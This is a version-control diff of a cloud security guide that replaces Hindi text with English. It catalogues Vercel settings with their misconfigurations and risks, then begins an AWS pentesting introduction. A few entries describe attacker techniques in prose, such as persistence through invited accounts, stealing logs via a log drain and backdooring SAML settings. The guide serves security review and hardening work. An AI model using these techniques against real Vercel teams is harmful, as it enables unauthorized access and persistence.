||||
|
||||
**Purpose:** सर्वर रहित कार्यों को कॉन्फ़िगर करें, जिसमें रनटाइम सेटिंग्स, मेमोरी आवंटन, और सुरक्षा नीतियाँ शामिल हैं।
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
@@ -168,81 +167,81 @@ Vercel में एक **Team** वह पूरी **environment** है ज
|
||||
|
||||
### Data Cache
|
||||
|
||||
**Purpose:** प्रदर्शन को अनुकूलित करने और डेटा भंडारण को नियंत्रित करने के लिए कैशिंग रणनीतियों और सेटिंग्स का प्रबंधन करें।
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** यह सभी कैश को हटाने की अनुमति देता है।
|
||||
- **Risk:** अनधिकृत उपयोगकर्ता कैश को हटा सकते हैं जिससे संभावित DoS हो सकता है।
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
**Purpose:** निर्दिष्ट अंतराल पर स्वचालित कार्यों और स्क्रिप्टों को शेड्यूल करें।
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** यह कोड के अंदर घोषित क्रोन नौकरियों को अक्षम करने की अनुमति देता है
|
||||
- **Risk:** सेवा में संभावित विघटन (इस पर निर्भर करता है कि क्रोन नौकरियों का क्या मतलब था)
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Purpose:** निगरानी और ऑडिटिंग के लिए एप्लिकेशन लॉग कैप्चर और स्टोर करने के लिए बाहरी लॉगिंग सेवाओं को कॉन्फ़िगर करें।
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- कुछ नहीं (टीम सेटिंग्स से प्रबंधित)
|
||||
- Nothing (managed from teams settings)
|
||||
|
||||
---
|
||||
|
||||
### Security
|
||||
|
||||
**Purpose:** परियोजना पहुंच, स्रोत सुरक्षा, और अधिक को प्रभावित करने वाली विभिन्न सुरक्षा-संबंधित सेटिंग्स के लिए केंद्रीय हब।
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Build Logs and Source Protection**
|
||||
|
||||
- **Misconfiguration:** सुरक्षा को अक्षम करना या `/logs` और `/src` पथों को सार्वजनिक रूप से उजागर करना।
|
||||
- **Risk:** निर्माण लॉग और स्रोत कोड तक अनधिकृत पहुंच, जानकारी लीक और संभावित कमजोरियों का शोषण।
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
|
||||
**Git Fork Protection**
|
||||
|
||||
- **Misconfiguration:** उचित समीक्षाओं के बिना अनधिकृत पुल अनुरोधों की अनुमति देना।
|
||||
- **Risk:** दुर्भावनापूर्ण कोड को कोडबेस में मर्ज किया जा सकता है, जिससे कमजोरियाँ या बैकडोर का परिचय होता है।
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
|
||||
- **Misconfiguration:** OIDC पैरामीटर को गलत तरीके से सेट करना या असुरक्षित जारीकर्ता URL का उपयोग करना।
|
||||
- **Risk:** दोषपूर्ण प्रमाणीकरण प्रवाह के माध्यम से बैकएंड सेवाओं तक अनधिकृत पहुंच।
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
|
||||
**Deployment Retention Policy**
|
||||
|
||||
- **Misconfiguration:** बहुत छोटे (तैनाती इतिहास खोना) या बहुत लंबे (अनावश्यक डेटा रखरखाव) रखरखाव अवधि सेट करना।
|
||||
- **Risk:** आवश्यकता पड़ने पर रोलबैक करने में असमर्थता या पुराने तैनातियों से डेटा उजागर होने का बढ़ा हुआ जोखिम।
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
|
||||
**Recently Deleted Deployments**
|
||||
|
||||
- **Misconfiguration:** हटाई गई तैनातियों की निगरानी नहीं करना या स्वचालित हटाने पर पूरी तरह से निर्भर रहना।
|
||||
- **Risk:** महत्वपूर्ण तैनाती इतिहास का नुकसान, ऑडिट और रोलबैक में बाधा।
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
|
||||
---
|
||||
|
||||
### Advanced
|
||||
|
||||
**Purpose:** कॉन्फ़िगरेशन को ठीक करने और सुरक्षा बढ़ाने के लिए अतिरिक्त परियोजना सेटिंग्स तक पहुंच।
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Directory Listing**
|
||||
|
||||
- **Misconfiguration:** निर्देशिका सूचीकरण सक्षम करना उपयोगकर्ताओं को बिना इंडेक्स फ़ाइल के निर्देशिका सामग्री देखने की अनुमति देता है।
|
||||
- **Risk:** संवेदनशील फ़ाइलों, एप्लिकेशन संरचना, और हमलों के लिए संभावित प्रवेश बिंदुओं का उजागर होना।
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
|
||||
---
|
||||
|
||||
@@ -254,13 +253,13 @@ Vercel में एक **Team** वह पूरी **environment** है ज
|
||||
|
||||
**Enable Attack Challenge Mode**
|
||||
|
||||
- **Misconfiguration:** इसे सक्षम करना वेब एप्लिकेशन की DoS के खिलाफ रक्षा को सुधारता है लेकिन उपयोगिता की कीमत पर
|
||||
- **Risk:** संभावित उपयोगकर्ता अनुभव समस्याएँ।
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
|
||||
### Custom Rules & IP Blocking
|
||||
|
||||
- **Misconfiguration:** ट्रैफ़िक को अनब्लॉक/ब्लॉक करने की अनुमति देता है
|
||||
- **Risk:** दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या बेनिग्न ट्रैफ़िक को अवरुद्ध करने की संभावित DoS
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
|
||||
---
|
||||
|
||||
@@ -268,13 +267,13 @@ Vercel में एक **Team** वह पूरी **environment** है ज
|
||||
|
||||
### Source
|
||||
|
||||
- **Misconfiguration:** एप्लिकेशन के पूरे स्रोत कोड को पढ़ने के लिए पहुंच की अनुमति देता है
|
||||
- **Risk:** संवेदनशील जानकारी का संभावित उजागर होना
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
|
||||
### Skew Protection
|
||||
|
||||
- **Misconfiguration:** यह सुरक्षा सुनिश्चित करता है कि क्लाइंट और सर्वर एप्लिकेशन हमेशा एक ही संस्करण का उपयोग कर रहे हैं ताकि कोई असंगति न हो जहाँ क्लाइंट सर्वर से अलग संस्करण का उपयोग करता है और इसलिए वे एक-दूसरे को समझ नहीं पाते।
|
||||
- **Risk:** इसे अक्षम करना (यदि सक्षम है) भविष्य में नई तैनातियों में DoS समस्याएँ पैदा कर सकता है
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
|
||||
---
|
||||
|
||||
@@ -285,11 +284,11 @@ Vercel में एक **Team** वह पूरी **environment** है ज
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** सभी परियोजनाओं को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
|
||||
- **Risk:** एक हमलावर परियोजनाओं को चुरा सकता है
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** सभी परियोजनाओं के साथ टीम को हटाने की अनुमति देता है
|
||||
- **Risk:** परियोजनाओं को हटाना
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects
|
||||
- **Risk:** Delete the projects
|
||||
|
||||
---
|
||||
|
||||
@@ -298,8 +297,8 @@ Vercel में एक **Team** वह पूरी **environment** है ज
|
||||
#### Security Configurations:
|
||||
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** एक हमलावर इस संख्या को बढ़ा सकता है
|
||||
- **Risk:** लागत में वृद्धि
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
|
||||
---
|
||||
|
||||
@@ -308,25 +307,25 @@ Vercel में एक **Team** वह पूरी **environment** है ज
|
||||
#### Security Configurations:
|
||||
|
||||
- **Add members**
|
||||
- **Misconfiguration:** एक हमलावर एक ऐसा खाता आमंत्रित करके स्थायीता बनाए रख सकता है जिसे वह नियंत्रित करता है
|
||||
- **Risk:** हमलावर की स्थिरता
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Roles**
|
||||
- **Misconfiguration:** उन लोगों को बहुत अधिक अनुमतियाँ देना जिन्हें इसकी आवश्यकता नहीं है Vercel कॉन्फ़िगरेशन के जोखिम को बढ़ाता है। सभी संभावित भूमिकाओं की जांच करें [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Vercel Team की एक्सपोजर बढ़ाना
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
|
||||
---
|
||||
|
||||
### Access Groups
|
||||
|
||||
Vercel में एक **Access Group** परियोजनाओं और टीम के सदस्यों का एक संग्रह है जिसमें पूर्वनिर्धारित भूमिका असाइनमेंट होते हैं, जो कई परियोजनाओं में केंद्रीकृत और सुव्यवस्थित पहुंच प्रबंधन को सक्षम बनाते हैं।
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
|
||||
**Potential Misconfigurations:**
|
||||
|
||||
- **Over-Permissioning Members:** आवश्यकताओं से अधिक अनुमतियों के साथ भूमिकाएँ असाइन करना, अनधिकृत पहुंच या क्रियाओं की ओर ले जाना।
|
||||
- **Improper Role Assignments:** भूमिकाएँ गलत तरीके से असाइन करना जो टीम के सदस्यों की जिम्मेदारियों के साथ मेल नहीं खाती, जिससे विशेषाधिकार वृद्धि होती है।
|
||||
- **Lack of Project Segregation:** संवेदनशील परियोजनाओं को अलग करने में विफलता, जिससे अपेक्षित से अधिक व्यापक पहुंच की अनुमति मिलती है।
|
||||
- **Insufficient Group Management:** एक्सेस समूहों की नियमित समीक्षा या अद्यतन नहीं करना, जिससे पुरानी या अनुपयुक्त पहुंच अनुमतियाँ होती हैं।
|
||||
- **Inconsistent Role Definitions:** विभिन्न एक्सेस समूहों में असंगत या अस्पष्ट भूमिका परिभाषाओं का उपयोग करना, जिससे भ्रम और सुरक्षा अंतराल होते हैं।
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
|
||||
---
|
||||
|
||||
@@ -335,8 +334,8 @@ Vercel में एक **Access Group** परियोजनाओं और
|
||||
#### Security Configurations:
|
||||
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** एक हमलावर लॉग चुराने के लिए एक लॉग ड्रेन कॉन्फ़िगर कर सकता है
|
||||
- **Risk:** आंशिक स्थिरता
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
|
||||
---
|
||||
|
||||
@@ -344,95 +343,98 @@ Vercel में एक **Access Group** परियोजनाओं और
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Team Email Domain:** जब कॉन्फ़िगर किया जाता है, तो यह सेटिंग स्वचालित रूप से निर्दिष्ट डोमेन (जैसे, `mydomain.com`) के साथ समाप्त होने वाले ईमेल पते वाले Vercel व्यक्तिगत खातों को आपके टीम में शामिल होने के लिए आमंत्रित करती है।
|
||||
- **Misconfiguration:**\
|
||||
गलत ईमेल डोमेन या टीम ईमेल डोमेन सेटिंग में गलत स्पेलिंग निर्दिष्ट करना।
|
||||
- सामान्य ईमेल डोमेन (जैसे, `gmail.com`, `hotmail.com`) का उपयोग करना बजाय कंपनी-विशिष्ट डोमेन के।
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:**
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** अनपेक्षित डोमेन से ईमेल पते वाले उपयोगकर्ताओं को आपकी टीम में शामिल होने के लिए आमंत्रण मिल सकता है।
|
||||
- **Data Exposure:** अनधिकृत व्यक्तियों के लिए संवेदनशील परियोजना जानकारी का संभावित उजागर होना।
|
||||
- **Protected Git Scopes:** आपको अपनी टीम के लिए 5 Git स्कोप जोड़ने की अनुमति देता है ताकि अन्य Vercel टीमों को सुरक्षित स्कोप से रिपॉजिटरी तैनात करने से रोका जा सके। कई टीमें एक ही स्कोप निर्दिष्ट कर सकती हैं, जिससे दोनों टीमों को पहुंच मिलती है।
|
||||
- **Misconfiguration:** सुरक्षित सूची में महत्वपूर्ण Git स्कोप जोड़ने में विफलता।
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** अन्य टीमें आपकी संगठन की Git स्कोप से बिना अनुमति के रिपॉजिटरी तैनात कर सकती हैं।
|
||||
- **Intellectual Property Exposure:** स्वामित्व कोड को आपकी टीम के बाहर तैनात और एक्सेस किया जा सकता है।
|
||||
- **Environment Variable Policies:** टीम के पर्यावरण चर के निर्माण और संपादन के लिए नीतियों को लागू करता है। विशेष रूप से, आप यह लागू कर सकते हैं कि सभी पर्यावरण चर को **Sensitive Environment Variables** के रूप में बनाया जाए, जिन्हें केवल Vercel के तैनाती प्रणाली द्वारा डिक्रिप्ट किया जा सकता है।
|
||||
- **Misconfiguration:** संवेदनशील पर्यावरण चर के प्रवर्तन को अक्षम रखना।
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** पर्यावरण चर को अनधिकृत टीम के सदस्यों द्वारा देखा या संपादित किया जा सकता है।
|
||||
- **Data Breach:** संवेदनशील जानकारी जैसे API कुंजी और क्रेडेंशियल लीक हो सकते हैं।
|
||||
- **Audit Log:** टीम की गतिविधियों का पिछले 90 दिनों के लिए निर्यात प्रदान करता है। ऑडिट लॉग टीम के सदस्यों द्वारा किए गए कार्यों की निगरानी और ट्रैकिंग में मदद करते हैं।
|
||||
- **Misconfiguration:**\
|
||||
अनधिकृत टीम के सदस्यों को ऑडिट लॉग तक पहुंच देना।
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** संवेदनशील उपयोगकर्ता गतिविधियों और डेटा का उजागर होना।
|
||||
- **Tampering with Logs:** दुर्भावनापूर्ण अभिनेता अपने ट्रैक को छिपाने के लिए लॉग को बदल या हटा सकते हैं।
|
||||
- **SAML Single Sign-On:** आपकी टीम के लिए SAML प्रमाणीकरण और निर्देशिका समन्वय को अनुकूलित करने की अनुमति देता है, केंद्रीकृत प्रमाणीकरण और उपयोगकर्ता प्रबंधन के लिए एक पहचान प्रदाता (IdP) के साथ एकीकरण सक्षम करता है।
|
||||
- **Misconfiguration:** एक हमलावर SAML पैरामीटर जैसे Entity ID, SSO URL, या प्रमाणपत्र फिंगरप्रिंट सेटअप में बैकडोर कर सकता है।
|
||||
- **Risk:** स्थिरता बनाए रखना
|
||||
- **IP Address Visibility:** नियंत्रित करता है कि क्या IP पते, जिन्हें कुछ डेटा सुरक्षा कानूनों के तहत व्यक्तिगत जानकारी माना जा सकता है, निगरानी प्रश्नों और लॉग ड्रेनों में प्रदर्शित होते हैं।
|
||||
- **Misconfiguration:** आवश्यकता के बिना IP पते की दृश्यता को सक्षम छोड़ना।
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** डेटा सुरक्षा नियमों जैसे GDPR के साथ अनुपालन में विफलता।
|
||||
- **Legal Repercussions:** व्यक्तिगत डेटा के गलत प्रबंधन के लिए संभावित जुर्माना और दंड।
|
||||
- **IP Blocking:** Vercel को उन IP पते और CIDR रेंजों को कॉन्फ़िगर करने की अनुमति देता है जिनसे अनुरोधों को अवरुद्ध करना चाहिए। अवरुद्ध अनुरोध आपके बिलिंग में योगदान नहीं करते हैं।
|
||||
- **Misconfiguration:** एक हमलावर द्वारा दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या वैध ट्रैफ़िक को अवरुद्ध करने के लिए दुरुपयोग किया जा सकता है।
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** वैध उपयोगकर्ताओं या भागीदारों के लिए पहुंच को अवरुद्ध करना।
|
||||
- **Operational Disruptions:** कुछ क्षेत्रों या ग्राहकों के लिए सेवा उपलब्धता का नुकसान।
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
|
||||
---
|
||||
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** Vercel Functions और बैकएंड वातावरण (जैसे, डेटाबेस) के बीच सुरक्षित, निजी कनेक्शन को सक्षम करता है, समर्पित IP पते के साथ अलग नेटवर्क स्थापित करके। यह बैकएंड सेवाओं को सार्वजनिक रूप से उजागर करने की आवश्यकता को समाप्त करता है, सुरक्षा, अनुपालन, और गोपनीयता को बढ़ाता है।
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Secure Compute नेटवर्क के लिए AWS क्षेत्र का चयन करना जो बैकएंड सेवाओं के क्षेत्र से मेल नहीं खाता।
|
||||
- **Risk:** बढ़ी हुई लेटेंसी, संभावित डेटा निवास अनुपालन मुद्दे, और प्रदर्शन में कमी।
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** CIDR ब्लॉकों का चयन करना जो मौजूदा VPCs या अन्य नेटवर्क के साथ ओवरलैप करते हैं।
|
||||
- **Risk:** नेटवर्क संघर्ष जो विफल कनेक्शन, अनधिकृत पहुंच, या नेटवर्क के बीच डेटा रिसाव का कारण बनता है।
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** VPC पीयरिंग को गलत तरीके से सेट करना (जैसे, गलत VPC IDs, अधूरी रूट टेबल अपडेट)।
|
||||
- **Risk:** बैकएंड बुनियादी ढांचे तक अनधिकृत पहुंच, सुरक्षित कनेक्शनों में विफलता, और संभावित डेटा उल्लंघन।
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** उचित अलगाव के बिना एक Secure Compute नेटवर्क को कई परियोजनाओं को असाइन करना।
|
||||
- **Risk:** साझा IP का उजागर होना हमले की सतह को बढ़ाता है, संभावित रूप से समझौता किए गए परियोजनाओं को अन्य पर प्रभाव डालने की अनुमति देता है।
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** समर्पित IP पते का उचित प्रबंधन या रोटेट करने में विफलता।
|
||||
- **Risk:** IP स्पूफिंग, ट्रैकिंग कमजोरियाँ, और यदि IPs दुर्भावनापूर्ण गतिविधियों से जुड़े हैं तो संभावित ब्लैकलिस्टिंग।
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** जब बैकएंड एक्सेस की आवश्यकता नहीं होती है, तो Secure Compute नेटवर्क में निर्माण कंटेनरों को जोड़ना।
|
||||
- **Risk:** विस्तारित हमले की सतह, बढ़ी हुई प्रावधान में देरी, और नेटवर्क संसाधनों की अनावश्यक खपत।
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** तैनाती सुरक्षा को बायपास करने के लिए उपयोग किए जाने वाले रहस्यों को उजागर करना या गलत तरीके से संभालना।
|
||||
- **Risk:** सुरक्षित तैनातियों तक अनधिकृत पहुंच, हमलावरों को हेरफेर या दुर्भावनापूर्ण कोड तैनात करने की अनुमति देना।
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** निष्क्रिय फेलओवर क्षेत्रों को सेट करने में विफलता या फेलओवर सेटिंग्स को गलत तरीके से कॉन्फ़िगर करना।
|
||||
- **Risk:** प्राथमिक क्षेत्र की आउटेज के दौरान सेवा डाउनटाइम, उपलब्धता में कमी और संभावित डेटा असंगति।
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** अनुमत सीमा से अधिक VPC पीयरिंग कनेक्शन स्थापित करने का प्रयास करना (जैसे, 50 कनेक्शनों से अधिक)।
|
||||
- **Risk:** आवश्यक बैकएंड सेवाओं को सुरक्षित रूप से कनेक्ट करने में असमर्थता, तैनाती विफलताओं और परिचालन व्यवधानों का कारण बनना।
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** कमजोर फ़ायरवॉल नियम, एन्क्रिप्शन की कमी, या Secure Compute नेटवर्क के भीतर गलत नेटवर्क विभाजन।
|
||||
- **Risk:** डेटा इंटरसेप्शन, बैकएंड सेवाओं तक अनधिकृत पहुंच, और हमलों के प्रति बढ़ी हुई संवेदनशीलता।
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Purpose:** सभी परियोजनाओं द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल और रहस्यों का प्रबंधन करें।
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** संवेदनशील वेरिएबल को `NEXT_PUBLIC_` के साथ पूर्ववर्ती करना, जिससे उन्हें क्लाइंट साइड पर पहुंच योग्य बनाना।
|
||||
- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है।
|
||||
- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**AWS** वातावरण में **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि AWS कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, गलत कॉन्फ़िगरेशन कैसे खोजें और उनका कैसे लाभ उठाएं।
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
|
||||
संगठन की पदानुक्रम, IAM और अन्य बुनियादी अवधारणाओं जैसे विचारों को समझाया गया है:
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
@@ -29,42 +29,42 @@ Tools to simulate attacks:
|
||||
|
||||
